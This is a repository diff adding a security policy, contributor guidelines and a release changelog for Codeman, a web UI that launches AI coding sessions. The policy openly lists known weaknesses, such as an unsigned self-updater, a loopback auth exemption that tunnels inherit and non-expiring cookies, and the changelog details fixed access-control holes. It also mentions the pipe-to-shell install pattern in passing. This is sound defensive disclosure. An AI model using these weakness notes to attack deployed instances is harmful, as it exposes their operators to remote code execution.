+# Security Policy
+
+Codeman launches AI coding sessions with `--dangerously-skip-permissions`, so the
+web UI is **by design a remote-code-execution surface for whoever can reach it**.
+The entire security model exists to control *who* that is. Please read this before
+exposing an instance beyond `localhost`. The full model lives in
+[`docs/security-architecture.md`](../docs/security-architecture.md).
+
+## Supported versions
+
+Security fixes land on the latest published `codeman@X.Y.Z` release and `master`.
+Older versions are not patched — upgrade to the latest release (App Settings →
+Updates for git-clone installs, or `npm i -g aicodeman@latest`).
+
+| Version | Supported |
+| ------- | --------- |
+| latest `0.9.x` / `master` | ✅ |
+| anything older | ❌ (upgrade) |
+
+## Reporting a vulnerability
+
+**Please do not open a public issue for security problems.**
+
+Report privately via **GitHub's private vulnerability reporting**:
+the repository's **Security** tab → **Report a vulnerability**
+(<https://github.com/Ark0N/Codeman/security/advisories/new>). This opens a private
+advisory thread with the maintainer.
+
+> Maintainer note: enable *Settings → Code security and analysis → Private
+> vulnerability reporting* so this channel is live.
+
+When reporting, please include: affected version/commit, the deployment shape
+(loopback-only, `CODEMAN_PASSWORD` set, tunnel/`tailscale serve`, custom
+reverse proxy), reproduction steps, and impact. We aim to acknowledge within a
+few days. Coordinated disclosure is appreciated — we'll agree a disclosure
+timeline with you once impact is confirmed.
+
+### In scope
+- Authentication / session-cookie bypass when `CODEMAN_PASSWORD` is set
+- DNS-rebinding, CSRF/CSWSH, or Origin/Host-guard bypass reaching state-changing routes
+- Remote code execution reachable **without** local OS access (e.g. via a browser, a tunnel, or a foreign origin)
+- Path traversal / arbitrary file read or write through the HTTP API
+- Supply-chain integrity of the in-app self-updater
+
+### Out of scope (by design — see Known limitations)
+- Anything requiring an already-trusted **same-machine, same-uid** process. Codeman trusts the local OS user it runs as; a peer process of that user is already inside the boundary.
+- Running an authless instance bound to a non-loopback host after dismissing the startup warning (you explicitly acknowledged it).
+- The default loopback + no-password posture itself (it is reachable only from the same machine).
+
+## Trust model (summary)
+
+- **Loopback by default.** Binds `127.0.0.1`; the no-password default is safe out of the box. Binding a non-loopback host without `CODEMAN_PASSWORD` *starts but prints a loud warning* with concrete fixes.
+- **Always-on Host + Origin guards.** Block DNS-rebinding and cross-site state-changing requests even on the no-auth loopback install (a missing Origin is allowed so CLI/hooks work).
+- **Optional auth.** HTTP Basic via `CODEMAN_USERNAME`/`CODEMAN_PASSWORD`; success issues an opaque server-side 256-bit cookie. Per-IP rate limiting on failures.
+- **Hardened file serving, tmux launch, transport headers, and multi-instance isolation** — see the full architecture doc.
+
+## Known limitations and accepted risk
+
+A 1.0 release is an implicit statement that the documented model *is* the model, so
+these residuals are stated explicitly. Most sit **inside the same-uid OS trust
+boundary** or behind the always-on Origin guard; they matter mainly for
+shared-host, multi-user, or tunneled deployments.
+
+- **Self-update trusts an unsigned release tag.** The in-app updater does `git checkout <tag> && npm install` (lifecycle scripts run) of a tag matched only by name shape, from whatever `origin` points to — no signature/commit verification. Treat the updater as trusting your `origin` remote and your release pipeline. (Hardening tracked for 1.0.)
+- **CSP ships `'unsafe-inline'`.** Inline handlers mean the Content-Security-Policy is defense-in-depth only; all AI-/file-derived sinks are escaped, but a future missed escape would be executable.
+- **`workingDir` is unconstrained.** A session may be created with any absolute working directory (e.g. `/`), which becomes the file-route boundary for that session. Scope it to trusted paths on shared hosts.
+- **Hook-event auth exemption is loopback-IP-based.** `POST /api/hook-event` is exempt from auth for loopback callers; because tunnels (cloudflared / `tailscale serve`) terminate at `127.0.0.1`, a loopback-terminating tunnel inherits the exemption. Set `CODEMAN_PASSWORD` and prefer a tunnel that preserves the client identity if this matters.
+- **Session cookie is not bound to client IP/UA on reuse, and refreshes without an absolute cap.** A stolen cookie replays until its idle TTL elapses.
+- **Multi-instance tmux socket is process-wide.** Two Codeman instances on the same `CODEMAN_INSTANCE` share a tmux socket and can attach each other's live sessions — isolate with distinct `CODEMAN_INSTANCE` values.
+- **The live log-tail route reads `/var/log` and `~/logs`** in addition to the session working directory (read-only) — a deliberate choice for tailing system/app logs. On a password-protected remote deployment an authenticated user can therefore read those roots outside their session. See `docs/security-architecture.md` §5.
+
+Recent hardening (this release): web-push subscription endpoints are restricted
+to https public hosts (SSRF guard — rejects internal/metadata IPs, validated at
+subscribe and send time), and tmux session names discovered on the shared socket
+are validated against the safe-name pattern before reaching any shell call site.
+
+For the detailed rationale, defenses, and recommended secure setups, see
+[`docs/security-architecture.md`](../docs/security-architecture.md).

+# Repository Guidelines
+
+Canonical agent/contributor guidance for this repository lives in [CLAUDE.md](CLAUDE.md) —
+project structure, build/test/lint commands, code style, testing safety rules
+(never run the full suite inside a managed tmux session), security notes, and
+the deployment workflow are all maintained there. Please read it before making
+changes, and keep it the single source of truth rather than duplicating
+sections here.
+
+Quick pointers:
+
+- Type check: `tsc --noEmit` · Lint: `npm run lint` · Format: `npm run format:check`
+- Targeted tests only: `npm test -- test/<file>.test.ts` (bare `npm test` is unsafe in managed sessions)
+- Route tests use `app.inject()`; new tests needing ports must pick a unique `const PORT =`
+- Branch off `master` for all work; Conventional Commit-style messages (`fix(mobile): ...`)
+- Never commit secrets or local state from `~/.codeman/`

 # aicodeman
 
+## 1.9.6
+
+### Patch Changes
+
+- Two fixes from community PRs (thanks @Lint111):
+  - fix(transcripts): complete tools from user-entry results (#177). Claude transcripts record tool requests in assistant entries but commonly carry their results in user-role entries; the transcript watcher only completed tools from the older assistant-entry path, so Codeman could keep showing a tool as running after it had finished. The watcher now recognizes `tool_result` blocks in user entries, ends the active tool state, and emits `transcript:tool_end` with the correct tool name and error status. Watcher tests also moved from fixed sleeps to condition-based `vi.waitFor` assertions.
+  - fix(notifications): quiet lifecycle hook noise (#178). Notification preferences move to schema version 5: the drawer-only "Response complete" (stop) default is now off, and the migration disables only the legacy drawer-only shape, preserving any explicit browser, audio, or push delivery the user opted into. Teammate-idle and task-completed hooks now map to the existing opt-in subagent categories instead of the broadly enabled idle/stop alerts, so normal agent activity no longer floods the drawer. Local and server-hydrated preferences are normalized through the same migration path (server hydration used to revive the retired default on fresh browsers), and the notification storage key now uses the stable handheld identity so an unfolded foldable keeps its mobile defaults and storage key (tablets and desktops unaffected).
+
+## 1.9.5
+
+### Patch Changes
+
+- Background-Bash rewake hook, hooks self-heal that preserves user hooks, and test-harness isolation.
+  - New `PostToolUse(Bash)` hook (PR #176): a self-contained `node -e` helper watches the session transcript for a background command's completion notification and uses Claude Code's `asyncRewake` to wake an idle agent (exit code 2), without injecting terminal input that could submit a user's draft. Works on Claude Code 2.1.207+; older CLIs strip the fields harmlessly.
+  - Hooks self-heal (`refreshStaleHookSecret` renamed to `refreshStaleCodemanHooks`) now replaces only Codeman-owned handlers, preserving user events, matchers, and sibling handlers in mixed configurations; `writeHooksConfig` merges instead of clobbering the hooks key at case creation (PR #176).
+  - Rewake helper hardening: self-terminates on its own 6h deadline and when orphaned; the marker is versioned (V2) with a version-agnostic ownership prefix so future script updates replace older handlers instead of duplicating them.
+  - Hook timeout units fixed: the hook `timeout` field is seconds (the CLI multiplies by 1000), so `HOOK_TIMEOUT_MS = 10000` gave curl hooks a ~2.8-hour effective timeout; now `HOOK_TIMEOUT_SECONDS = 10`.
+  - Test-harness isolation (PR #175): every test file gets a temporary `HOME`/`USERPROFILE` so tests cannot touch real Codeman state or delete real case directories, and `Session` attaches a raw-mode echo PTY instead of a real tmux client under Vitest. Fixes the quick-start suite deleting the real `~/codeman-cases/testcase`.
+  - CI stability: drain console-log rpc forwards before worker teardown (fixes a run-failing `EnvironmentTeardownError` with all tests passing); `test/webview-proxy.test.ts` no longer accidentally runs under the jsdom environment via a directive named in a comment.
+  - Release workflow pins the GitHub "Latest" badge to the Codeman release.
+
+## 1.9.4
+
+### Patch Changes
+
+- Fix a latent bug where a partial settings PUT silently reset live service state, and trim the `xterm-zerolag-input` README callout.
+  - **`PUT /api/settings` no longer resets watchers on a partial body.** The three `toggleService` calls (subagent watcher, workflow-run watcher, image watcher) read the raw request body with `??` defaults, so every key a caller omitted was treated as "apply the default". A body of just `{statusLineTelemetry:true}` would START the subagent watcher and STOP the workflow and image watchers, undoing the persisted config. They now resolve from `merged` (persisted settings + incoming), the same convention the `tmuxHistoryLimit` branch in that handler already used, so any PUT reconciles services to the effective stored state. Nothing triggered this in practice because every shipped client sends a full settings payload rebuilt from the DOM, but it was a trap for the next partial-update caller.
+  - **Regression test**: `test/routes/system-routes-settings-partial-put.test.ts` (4 cases) pins both directions, omitted keys preserve state and explicit keys still take effect. Verified to fail against the pre-fix handler.
+  - **CLAUDE.md** records the rule under "Adding Features → App setting": anything acting on a setting in that handler must resolve from `merged`, never the request body.
+  - **`xterm-zerolag-input` README**: removed the links line (getcodeman.com / install one-liner / star link) from the Codeman callout above the demo GIF. The callout keeps its links in the heading and body.
+
+## 1.9.3
+
+### Patch Changes
+
+- Plan-usage chip now defaults ON on desktop, plus the reworked `xterm-zerolag-input` README.
+  - **Plan-usage chip defaults ON (desktop).** The `showPlanUsageLimits` chip (live 5-hour and weekly plan usage from the Claude statusline) used to be opt-in and default OFF, so most users never saw it. Desktop now defaults ON; handhelds still default OFF so the phone header stays minimal and the `mobile-header-buttons-policy` guard keeps passing. Devices with an explicitly stored preference keep whatever they chose, so nobody's OFF gets overridden.
+  - **One resolver behind the chip.** Added `planUsageChipEnabled()` in settings-ui.js and routed all three call sites through it: the App Settings checkbox, the chip's visibility, and the create-time `statusLineTelemetry` flag in session-ui.js. Those three had independent `?? false` / `=== true` defaults, and a chip revealed without the telemetry flag renders `—` forever, so a default flip on one site alone would have shipped a permanently empty chip.
+  - **Cron button comment corrected.** The App Settings comment claimed "Cron button defaults ON" while the code, the template (`btn-cron--hidden`) and the CSS all default it OFF. Verified against a fresh browser profile: the button is hidden and its checkbox unchecked out of the box. Comment now matches, and states why the two halves stay consistent.
+  - **Docs.** CLAUDE.md, `docs/architecture-invariants.md` and `docs/usage-limits-display-plan.md` updated for the new default and the single-resolver rule; the stale `styles.css` comment claiming the server strips the chip's hidden class at render was corrected (display is per-device, so the client reveals it).
+  - **`xterm-zerolag-input` README rework** (0.1.5 shipped the content; this republishes with the graphic and promo changes): replaced the misaligned 8-line keystroke-flow diagram with a two-line stock-vs-zerolag contrast, added a Codeman callout above the demo GIF with links to getcodeman.com and the repo, and rewrote the Origin section so it argues the extraction story instead of repeating the promo.
+
+## 1.9.2
+
+### Patch Changes
+
+- Rewrite the `xterm-zerolag-input` package README as a value-first document and correct the drift that had accumulated against the source.
+  - Added the side-by-side phone demo GIF (`docs/images/zerolag-demo-20260728.gif`) as the hero image, referenced by absolute raw URL so it renders on npmjs.com as well as GitHub. The two-phone comparison shows 0ms local echo next to a 600ms-2.7s server echo on the same session.
+  - New "Why this one" comparison table, an explicit list of target use cases (SSH web clients, cloud IDEs, mobile terminals, container consoles), and a bundle-size badge (6.1 kB gzipped, measured from the ESM build).
+  - Corrected the test-count badge from 78 to the actual 175 tests across 5 files, in both the package README and the Published Packages section of the root README.
+  - Removed the stale "Unicode/emoji rendered at single-cell width" limitation. CJK, fullwidth forms and emoji have had double-width rendering and visual-column positioning since the wide-character fix; the honest remaining caveat (per-code-point width summing over-counts ZWJ grapheme clusters) replaces it.
+  - Documented the previously undocumented public `setPrompt()` method for switching prompt strategies at runtime, and the new "Wide characters (CJK, emoji)" integration section covering the optional `Unicode11Addon` path and the built-in range-table fallback.
+  - Documented `backgroundColor: 'transparent'`, corrected the `foregroundColor` default, and updated the grid-alignment math to reflect visual-column positioning rather than character index.
+
+  No source changes, docs only.
+
+## 1.9.1
+
+### Patch Changes
+
+- Narrow the Run dropdown, and close the last two gaps in web-tab asset rewriting.
+
+  **The Run dropdown was pinned at its full width.** It capped at 300px, and the recent-session rows wanted 326px, so it always rendered at the cap and reached further across the terminal than it needed to. Now 250px, chosen as the width at which a `~/<dir>/<repo>` + timestamp row still fits whole, since identifying a session to resume is what that list is for. Three fixes were needed to make the narrower menu degrade instead of clip: the saved-URL label now has its own element, because `text-overflow` on the row button did nothing (a bare text node inside a flex container becomes an anonymous flex item that ellipsis cannot reach); `.hist-dir` got `min-width: 0`, without which a flex item refuses to shrink below its own text and pushes the date out of the box; and history rows are held to the container width, because the list's `overflow-y: auto` implicitly makes `overflow-x: auto` and let each row size to its own content and scroll sideways. Phone and tablet widths are unchanged, being set separately in `mobile.css`.
+
+  **A dashboard's own `/api/...` assets are relayed again.** The `Referer`-keyed 404 fallback, which rescues a root-absolute asset that no rewrite layer could reach, refused everything under `/api` outright. Dashboards commonly serve their assets from exactly that namespace, so those requests had no rescue at all. The refusal is now precise: the relay runs before the API-shaped 404, and the auth exemption refuses only paths that resolve to a REAL Codeman route, with `/ws/` and `/q/` still refused by prefix.
+
+  Two findings shaped that fence, both from probing Fastify rather than reading it. `hasRoute()` matches the registered PATTERN literally, so `/api/sessions/abc` reports no match against a registered `/api/sessions/:id` and would have granted an unauthenticated exemption on a live session-scoped route; `findRoute()` performs the real lookup and is what the fence uses. And `@fastify/static` is mounted at `/`, so it registers a root catch-all matching every path, which has to count as "no real route" or the fence would refuse every referer-form request and break the rescue that already worked. A root catch-all is distinguishable because it is the only route whose wildcard param comes back equal to the whole request path. The fence fails closed, and both edges are pinned in `test/webview-auth-exemption.test.ts`.
+
+  **`url()` inside runtime CSS is rewritten.** Measuring the fallback against a purpose-built dashboard showed one sink no relay can reach: a `<style>` element built by page script has no URL of its own, so the browser sends an EMPTY `Referer` with the image request it triggers. The injected URL shim now rewrites root-absolute `url()` in `<style>` blocks, both as markup and when a `<style>` node is inserted. Verified in Chromium: a stylesheet-only `/api/hero.png` and a runtime `<style>` `/api/late.png` both load, where both previously failed. The remaining known gap is self-navigation via `location.href`, which cannot be patched because `Location.href` is unforgeable.
+
+## 1.9.0
+
+### Minor Changes
+
+- 2667150: feat(mobile): browse and insert local file and folder paths
+
+  Add a root-confined filesystem picker to Link Existing and the extended mobile
+  keyboard bar. Selected paths remain editable at the active prompt, supported
+  images/documents/text files open in a safe inline preview, and a new one-tap
+  action clears only the current unsent input without invoking `/clear`.
+
+### Patch Changes
+
+- 3cff98f: Fix two multi-user scoping holes in the new filesystem path picker. `GET /api/filesystem/browse` and `GET /api/filesystem/preview` accept an optional `sessionId` that contributes the session's working directory as a browse root, but they resolved it straight off the session map without an ownership check, unlike the nine other session-scoped handlers in the same route file. A non-admin could therefore pin another user's working directory as a root simply by passing their session id, then list and preview files under it. Both endpoints now run `canAccessOwned` and report 404, which also avoids confirming that a session id exists.
+
+  Separately, `Home` and `CASES_DIR` were unconditional browse roots for every caller. Per-user spaces live at `<USER_SPACES_DIR>/<username>`, which is inside `homedir()`, so the `Home` root alone exposed every other user's workspace to any authenticated user. In multi-user mode a non-admin now gets only their own space plus anything explicitly listed in `CODEMAN_FILE_PICKER_ROOTS`; `/mnt/d` is no longer offered by default, since a broad host mount should be an explicit operator decision in a multi-user deployment. Admins keep the host-wide roots, and single-user mode is unchanged.
+
+  Both holes are regression-guarded in `test/routes/file-routes.test.ts`, verified to fail against the previous code. Multi-user mode is opt-in and off by default, so single-user installs were never affected.
+
+- Web tabs: delete saved URLs from the Run dropdown, and fix images in proxied dashboards.
+
+  **Saved URLs are now manageable from the dropdown.** Each row under "Web / URL" gains a gear and an `x`, so a URL can be edited or deleted without first opening it as a tab. Previously the only delete path ran through the gear on an open tab, which was a dead end for a URL you no longer wanted open at all. Both controls stay permanently visible rather than hover-revealed, because the same menu is used on touch, and they get a larger hit box there. Deleting leaves the dropdown open on the remaining rows, and deleting the dashboard that is currently open also closes its tab and unmounts its frame.
+
+  **Runtime-injected images no longer 404.** A dashboard that renders its own markup from script (`card.innerHTML = '<img src="/api/hero?slug=x">'`, `img.src = '/api/slide'`) escaped every rewrite layer at once: `<base href>` never applies to a root-absolute URL, the server-side attribute rewrite only ever sees the initial document, and `runtimeUrlShim()` patched only `fetch`, `XMLHttpRequest`, `WebSocket` and `EventSource`. Those requests landed on Codeman's own root and 404'd, with a symptom that reads as an upstream fault: the dashboard's data loaded while every image stayed broken.
+
+  The shim now also covers the DOM URL sinks, so the request is never emitted in the first place and neither the `/api` fence in the 404 fallback nor the one in the auth middleware had to move. It wraps `innerHTML`, `outerHTML`, `insertAdjacentHTML` (including on `ShadowRoot`), `setAttribute`/`setAttributeNS`, and the `src`/`srcset`/`href`/`poster`/`data`/`action` property setters on img, source, media, video poster, script, iframe, embed, track, link, anchor, area, object and form, with a `MutationObserver` as a last net for sinks not patched above. Every rewrite routes through the same idempotent helper, which matters because unlike the server-side rewrite this one sees markup that may already be proxied, and a page re-injecting its own `outerHTML` would otherwise double-prefix. Everything is defensively guarded and marked so a double injection cannot wrap an already-wrapped setter.
+
+  Measured against a real dashboard: 693 image elements, 0 of them under the proxy prefix and 0 of 23 in-viewport images decoded before, 693 and 23 of 23 after. Covered by a new jsdom suite over the shim's DOM half and a new frontend suite over the dropdown rows. Known remaining gaps are documented in `docs/web-tabs.md`: a root-absolute `url()` inside a stylesheet injected at runtime, and self-navigation via `location.href`, which cannot be patched because `Location.href` is unforgeable.
+
+  Also in this release: a value-first README overhaul pointing at getcodeman.com, and the QR-auth distribution test now uses a chi-square check instead of a max-deviation threshold that failed on random variance.
+
+- bca56b4: Normalize Claude conversations in the response viewer. A Claude transcript is an append-only event log, so one logical exchange spans many JSONL rows: tool-result rows, meta/image/skill rows, compact summaries, task and team notifications, sidechains, replayed assistant snapshots, and multi-block assistant output. The viewer rendered a card per row, which produced duplicate and truncated cards that read as lost responses. Cards are now built at real human-turn boundaries, replayed assistant snapshots are deduplicated, and sidechain rows (which belong to subagents, not the main conversation) no longer leak in. An identical prompt that legitimately recurs after an assistant reply is still kept as its own turn.
+
+  Measured over 40 real transcripts: 3108 cards became 621, duplicate cards dropped from 74 to 8 (all of them genuinely repeated turns), no assistant text was lost, and the non-`context=full` last-response text was byte-identical on every file.
+
+  Also rebinds recovered sessions to their transcript. `reconcileSessions()` can recover a lost mux session as a `restored-<uuid8>` placeholder with a stale working directory, which made transcript lookup by cwd find nothing. The placeholder still carries the first eight characters of the conversation UUID, so the viewer now rebinds to the matching top-level transcript when exactly one candidate matches.
+
+## 1.8.3
+
+### Patch Changes
+
+- 8c089a4: Add four light UI and terminal skins: Paper Gray, Solarized Light, Catppuccin Latte, and Rosé Pine Dawn. The Skin picker now groups Light and Dark options, and each light skin ships a matching xterm ANSI palette plus `color-scheme: light` so native selects, date pickers and scrollbars stop rendering as dark OS widgets on a light page. Terminals set `minimumContrastRatio: 4.5` under a light skin (main terminal and teammate terminals both), which keeps CLI output that assumes a dark background readable, and `applyTerminalSkin()` now refreshes the zero-lag input overlay so typed-but-unflushed text does not keep the previous theme's colors.
+
+  Elevated surfaces (modals, command palette, dropdowns, subagent and ultracode windows, file preview, attachment tray, mobile sheets) now resolve through shared `--floating-bg` / `--control-*` / `--banner-bg-*` / `--modal-backdrop` / `--elevated-shadow` tokens instead of hardcoded near-black rgba, so they follow whichever skin is active. On the Daylight skins this lifts modals slightly off the page background; OG Codeman pins its own near-black value to keep that palette neutral.
+
+  Also defines twelve CSS compatibility aliases (`--bg-primary`, `--bg-secondary`, `--bg-tertiary`, `--text-primary`, `--text-secondary`, `--border-color`, `--accent-color`, `--success`, `--error`, `--danger`, `--font-mono`, `--shadow-lg`) that panels and overlays already referenced in about 79 places but which were never actually declared, so those rules silently resolved to nothing. Status badges and accent-tinted pills (search filter chips and result badges, session tab mode pills, respawn state, Ralph priority and circuit-breaker badges, tunnel and voice status, mobile case picker) no longer keep their pale light-on-dark ink under a light skin, where it measured 1.0 to 1.9:1 and made the search filter chips invisible.
+
+  New static regression `test/skin-themes.test.ts` guards the four-way parity between the CSS token block, the xterm palette, the pre-paint allowlist and the Settings picker.
+
+## 1.8.2
+
+### Patch Changes
+
+- Web tabs: open dashboard URLs as tabs beside agent sessions, plus terminal link fixes.
+
+  **Web tabs.** The Run dropdown gains a "Web / URL" section. A saved URL renders as a tab in the same strip as Claude/Codex/Gemini sessions, with the same Alt+1-9 numbering, an icon picker, and per-device tab order. Frames stay mounted while hidden (LRU-bounded), so switching tabs never reloads a dashboard.
+
+  Dashboards are proxied through Codeman's own origin, because a direct iframe fails three ways at once: an HTTPS Codeman cannot embed a plain-HTTP target (mixed content, with no override at all on iOS Safari), many dashboards send `X-Frame-Options: DENY`, and Codeman's own `default-src 'self'` CSP blocks cross-origin frames. Proxying dissolves all three and leaves the production CSP unchanged. The fetch happens server-side, so a tailnet-only or localhost-only dashboard is reachable from any device that can reach Codeman.
+
+  The proxy is not an API surface: it authenticates on a 192-bit capability in the path (memory-only, rolling TTL, bound to the minting user, revoked on edit or delete) and is exempt from the cookie and Origin checks, because a sandboxed iframe is opaque-origin and sends neither. The Host allowlist is never bypassed. Iframes omit `allow-same-origin` unless a URL is explicitly marked trusted, and `Authorization` plus the session cookie are stripped upstream in both modes so `CODEMAN_PASSWORD` cannot leak into a dashboard. Includes an HTTP and WebSocket proxy, redirect/cookie/`<base>` rewriting, a runtime URL shim for requests built by dashboard JavaScript, and CORS handling for the opaque-origin frame. New endpoints under `/api/webviews`, storage in `~/.codeman/webviews.json`, user guide in `docs/web-tabs.md`.
+
+  **Terminal links no longer truncate.** Three separate cuts, each producing a link that opened the wrong target or none at all:
+  - A single `&` ended the match, so every query string was cut. A WordPress edit link resolved to `?post=1479` and Claude Code's own `/login` URL was unusable. `&` is now part of a URL while `&&` remains a boundary.
+  - Links wider than the terminal were cut at the row boundary. The link provider now stitches continuation rows into one logical line and maps offsets back across rows. Handles both soft wraps (emulator, `isWrapped`) and hard wraps (a program wrapping its own output and emitting a newline, as Ink does), the latter being why the `/login` URL grew longer as the window was widened.
+  - Image and PDF paths were not matched at all, so pasted-screenshot paths rendered as plain text. They now link and open the file preview, which renders images inline.
+
+  **Also fixes** a pre-existing bug where `.toolbar`'s `backdrop-filter` created a stacking context that trapped the Run menu's z-index, letting the welcome overlay cover it: with no session open, every item in that menu (Claude Code included) was unclickable.
+
+## 1.8.1
+
+### Patch Changes
+
+- Mobile toolbar: a dedicated Enter button, and Shell moves into the Run dropdown.
+
+  Submitting is a constant need on a touch keyboard, so on phones (≤430px) the toolbar slot that held "Shell" now holds a dark blue **Enter** button. Starting a shell, the far rarer action, moves into the expandable Run dropdown as `Terminal / Shell` (the Run button then reads "Run SH"). Desktop and tablet are unchanged: the green Run Shell button stays exactly where it was.
+
+  Enter is replayed through the terminal's own input path rather than posted to the input API. This matters because local echo is on by default on touch devices: the characters you type are buffered client-side and have not yet reached the PTY, so sending a bare carriage return would submit an empty line and leave your text stranded on screen. Replaying the keypress flushes the buffered text first, then submits.
+
+  Installer: re-runs and updates now preserve the existing network binding instead of silently reverting it, so upgrading no longer changes how the dashboard is reachable.
+
+  Default desktop header is cleaner: the file viewer is shown by default and the plan-usage chip is unchanged, while the token-count chip and lifecycle-log button now default off. Stored preferences are still honored.
+
+  Docs and repo housekeeping: fresh phone screenshots and a new hero GIF in both READMEs, contributor and total-commit badges, and a much shorter repo root. `SECURITY.md` moved to `.github/` (GitHub resolves it there, so the Security policy tab is unaffected), `SPEEDRUN.md` to `docs/`, the knip config to `config/`, and Prettier's config into the `"prettier"` key of `package.json`. `CLAUDE.md` was split so the always-loaded guidance is roughly half its former size, with the deep implementation detail preserved verbatim in `docs/architecture-invariants.md`.
+
+## 1.8.0
+
+### Minor Changes
+
+- Installer: choose your network binding, with LAN access as the new guided default.
+
+  The install script now asks at the end of setup how the dashboard should be reachable:
+  1. Any device on your network (0.0.0.0), the default. The installer prompts for a dashboard password (hidden input, confirmed twice); declining a password requires an explicit confirmation and the install ends with a prominent warning explaining the exposure.
+  2. This machine only (127.0.0.1), the safer option for tunnel/Tailscale setups.
+
+  The choice is wired into the generated systemd unit and launchd plist (values escaped for each format), the run-now launch path, and the printed URLs, which now include the detected LAN IP for instant phone access. Non-interactive installs keep the safe loopback default unless CODEMAN_HOST is preset, and the server binary's own default binding (127.0.0.1) is unchanged, so npm and manual installs behave exactly as before. New installer env presets: CODEMAN_HOST and CODEMAN_PASSWORD skip the prompts for automation.
+
+## 1.7.1
+
+### Patch Changes
+
+- Mobile and UI polish plus docs refresh.
+  - Mobile: the header brand collapses to a single "C" home button on phones (<430px), freeing header space for session tabs while keeping the same tap target. The compact letter lives in its own span so i18n custom branding keeps rewriting only the full wordmark.
+  - UI fix: the absolutely-centered toolbar voice button no longer overlaps the case picker's chevron and "+" button. Below ~1500px (or with long case names widening the left toolbar group) it now falls back into normal flex flow where overlap is impossible; wide viewports keep the centered layout.
+  - Docs: README gains a hero pitch block with deep links, npm version + GitHub stars badges, and a star CTA; CLAUDE.md core-files table synced (Infra docker modules, app.js line count); blog article images added under docs/images/blog/.
+
+## 1.7.0
+
+### Minor Changes
+
+- Community release (thanks @shenlvkang-collab for all four PRs) plus documentation fixes.
+  - fix(mobile): per-device settings now key off a stable handheld classification (`MobileDetection.isHandheldDevice()`: touch plus UA form-factor tokens, with User-Agent Client Hints fallback) instead of the instantaneous viewport width, so an Android foldable that unfolds past the desktop breakpoint keeps `codeman-app-settings-mobile` and opt-ins such as the Response Viewer and Extended Keyboard Bar. Responsive layout stays width-driven. Adds an OPPO Find N5 (unfolded) device profile and a fold/unfold/reload Playwright regression test (mobile suite now 136 devices). (#162)
+  - fix(paths): `SAFE_PATH_PATTERN` now accepts Unicode letters and numbers (`\p{L}\p{N}` with the `u` flag), so working directories like `/mnt/d/AI/中文项目` validate in Create Session, Quick Run, and Scheduled Run. All shell-metacharacter, traversal, and absolute-path protections are unchanged. (#163)
+  - fix(ui): newly created run sessions render their tab immediately instead of waiting for the `session:created` SSE event (idempotent upsert from the POST response, with a `GET /api/sessions/:id` fallback for quick-start modes), and the Run button holds an in-flight lock (min 500 ms) so a double click cannot create duplicate sessions. (#164)
+  - feat(ui): the synced custom display name and per-device English/Simplified Chinese UI language are described in their own entry (#165); on top of that PR, `renderIndexHtml` no longer recomputes `windowTitle` on solo-session renders, so a detached window cannot reset the push-notification `hostTitle` prefix to the default name.
+  - docs: corrected the `sse-events.ts` fileoverview breakdown (148 event constants, was stale at 120; per-category counts refreshed, including Cron, Docker, Remote auto-reconnect, and Multi-user) and the CLAUDE.md SSE registry count; READMEs synced with the 1.6.2 installer behavior.
+
+### Patch Changes
+
+- 8d9fc41: Add a synced custom display name and a per-device English/Simplified Chinese browser UI language picker under App Settings → Display.
+
+## 1.6.2
+
+### Patch Changes
+
+- Installer (install.sh) reliability and safety overhaul, prompted by a review of the Linux flow:
+  - Install-completion marker (`.install-complete`): a bare re-run only takes the quiet update path when a previous install actually finished. Previously, a first install that failed during npm install/build (or was interrupted) left `.git` behind, so the retry silently became an "update" and the user never got the launch menu, the `codeman`/`tmux-chooser` symlinks, the PATH entry, or the `sc` alias. The marker is refreshed by updates and cleared by uninstall when the app dir is kept; added to .gitignore for end-user clones.
+  - `update` no longer runs an unconditional `git reset --hard` over local changes: interactive runs are asked to stash (declining keeps everything and skips the update), headless runs auto-stash with a dated message (same policy as scripts/self-update.sh).
+  - Service setup is verified instead of asserted: after starting codeman-web, the installer polls `systemctl --user is-active` (up to 6s) and only then prints "Codeman is running now!"; failures print an honest warning plus status/journalctl hints. Uses `restart` instead of `start` so re-running the installer over an already-running service actually loads the new build. A missing user D-Bus session (e.g. bare `ssh host 'curl | bash'`) is detected up front with copy-paste recovery commands instead of dying mid-setup via `set -e`. macOS gets the equivalent `launchctl list` verification, and the update path verifies its service restart too. The Cloudflare tunnel-service offer is skipped when service setup failed.
+  - Headless consent guard: with no interactive terminal AND no explicit `CODEMAN_NONINTERACTIVE=1`, the installer now refuses (with instructions) to run sudo package installs (git/node/tmux) or third-party `curl | bash` AI CLI installers, instead of silently taking the default-yes prompts. Explicit `CODEMAN_NONINTERACTIVE=1` keeps the previous full-auto behavior for CI/automation.
+  - AI CLI gate now recognizes Codex and Gemini (search paths mirrored from the CLI resolvers), so a box with only Codex or Gemini installed is no longer forced to install Claude Code/OpenCode. The install menu gains a "Skip" option (with npm install hints for Codex/Gemini), and the final reminder lists all four CLIs.
+
+  Docs: CLAUDE.md documents `src/remote-reconnect.ts` (pure COD-108 auto-reconnect backoff/eligibility logic) in the Infra table and the remote-sessions pattern.
+
+## 1.6.1
+
+### Patch Changes
+
+- **Admin Panel for multi-user mode.** Admins in multi-user mode now get a prominent Admin Panel button at the top of the page (header, admin-only; the template ships it hidden and `admin-ui.js` reveals it after identity boot; hidden on phones per the mobile header policy, where user management stays reachable via App Settings > Users). It opens a full Admin Panel modal: a users table with role, enabled/disabled status, bypass-permissions grant, live sessions, active logins, case count, and last login; per-user actions for Promote/Demote, Enable/Disable, Grant/Revoke bypass, Reset password (copyable one-time password), Force logout, and Delete (with an optional "also delete their files" step); and a proper add-user form (role, optional password, bypass checkbox) replacing the old prompt() flow. Each user's cases open in a drawer listing their case folders (modified date, live-session badge) with per-folder delete. Two new admin endpoints back this: `GET /api/admin/users/:username/cases` and `DELETE /api/admin/users/:username/cases/:caseName`, guarded like `deleteUserSpace` (symlinks refused, realpath confined to the user's space, folders in use by a live session refused with 409, audit-logged). The panel and the App Settings Users tab live-refresh on the SSE `admin:usersChanged` event (now wired in app.js). New coverage in `test/admin-routes.test.ts` (list/delete, traversal + symlink refusal, non-admin 403) and `test/admin-ui.test.ts` (button reveal gating, panel render, case drawer); verified end to end against a live multi-user instance with curl and Playwright.
+
+  **Also in this release:** README/docs synced with 1.6.0 (remote SSH cases, session manager, permissions) and fixed installer prompts when run via `curl | bash`.
+
+  **Recap of the recent feature line, for readers catching up:**
